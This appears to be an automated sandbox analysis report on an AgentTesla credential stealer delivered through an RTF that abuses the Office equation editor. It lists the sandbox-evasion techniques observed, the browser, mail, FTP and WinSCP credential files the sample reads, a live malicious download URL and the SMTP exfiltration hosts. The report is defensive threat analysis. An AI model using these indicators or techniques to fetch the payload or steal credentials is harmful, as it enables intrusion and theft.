Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Users\user\AppData\Roaming\winiti.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 190000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 2460000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 5B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 80E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 5380000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 90E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 57B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 290000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 2230000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 600000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Roaming\winiti.exe Window / User API: threadDelayed 9685 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3264 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3412 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3524 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3584 Thread sleep time: -8301034833169293s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3584 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3588 Thread sleep count: 9685 > 30 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3588 Thread sleep count: 128 > 30 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3688 Thread sleep time: -180000s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Roaming\winiti.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\AppData\Roaming\winiti.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\winiti.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 100000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\winiti.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Users\user\AppData\Roaming\winiti.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\winiti.exe Queries volume information: C:\Users\user\AppData\Roaming\winiti.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Queries volume information: C:\Users\user\AppData\Roaming\winiti.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 5.2.winiti.exe.34c5b90.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.winiti.exe.3489570.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.winiti.exe.34c5b90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.winiti.exe.3489570.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.714090429.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.375360921.0000000003489000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3392, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3468, type: MEMORYSTR
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\AppData\Roaming\winiti.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\FTP Navigator\Ftplist.txt Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 5.2.winiti.exe.34c5b90.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.winiti.exe.3489570.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.winiti.exe.34c5b90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.winiti.exe.3489570.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.714090429.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.375360921.0000000003489000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.714490437.0000000002280000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3392, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3468, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 5.2.winiti.exe.34c5b90.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.winiti.exe.3489570.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.winiti.exe.34c5b90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.winiti.exe.3489570.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.714090429.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.375360921.0000000003489000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3392, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3468, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1482785 Sample: 2FBexXRCHR.rtf Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 44 Found malware configuration 2->44 46 Malicious sample detected (through community Yara rule) 2->46 48 Antivirus detection for dropped file 2->48 50 14 other signatures 2->50 8 WINWORD.EXE 291 13 2->8         started        process3 process4 10 EQNEDT32.EXE 12 8->10         started        15 EQNEDT32.EXE 8->15         started        dnsIp5 34 198.46.174.139, 49163, 80 AS-COLOCROSSINGUS United States 10->34 24 C:\Users\user\AppData\Roaming\winiti.exe, PE32 10->24 dropped 26 C:\Users\user\AppData\Local\...\winiti[1].exe, PE32 10->26 dropped 60 Office equation editor establishes network connection 10->60 62 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 10->62 17 winiti.exe 1 7 10->17         started        file6 signatures7 process8 signatures9 36 Antivirus detection for dropped file 17->36 38 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 17->38 40 Machine Learning detection for dropped file 17->40 42 Injects a PE file into a foreign processes 17->42 20 winiti.exe 12 2 17->20         started        process10 dnsIp11 28 smtp.jlahuachem.com 20->28 30 208.91.198.143, 25 PUBLIC-DOMAIN-REGISTRYUS United States 20->30 32 4 other IPs or domains 20->32 52 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 20->52 54 Installs new ROOT certificates 20->54 56 Tries to steal Mail credentials (via file / registry access) 20->56 58 2 other signatures 20->58 signatures12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
208.91.198.143
 unknown United States
394695 PUBLIC-DOMAIN-REGISTRYUS false
208.91.199.225
 unknown United States
394695 PUBLIC-DOMAIN-REGISTRYUS false
198.46.174.139
 unknown United States
36352 AS-COLOCROSSINGUS true
208.91.199.223
 unknown United States
394695 PUBLIC-DOMAIN-REGISTRYUS false
208.91.199.224
 us2.smtp.mailhostbox.com United States
394695 PUBLIC-DOMAIN-REGISTRYUS false
172.67.74.152
 api.ipify.org United States
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
us2.smtp.mailhostbox.com 208.91.199.224 true
api.ipify.org 172.67.74.152 true
smtp.jlahuachem.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.ipify.org/ false
  • URL Reputation: safe
  • URL Reputation: safe
 unknown
http://198.46.174.139/71/winiti.exe true
  • Avira URL Cloud: safe
 unknown